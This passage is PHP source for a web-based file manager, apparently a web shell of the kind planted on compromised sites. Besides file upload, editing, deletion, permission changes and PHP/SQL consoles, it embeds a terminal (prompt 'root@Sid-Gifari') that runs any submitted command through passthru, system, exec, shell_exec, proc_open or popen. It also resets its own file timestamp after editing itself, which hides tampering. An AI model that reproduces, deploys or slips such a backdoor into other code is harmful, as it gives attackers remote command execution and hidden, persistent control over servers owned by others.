fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
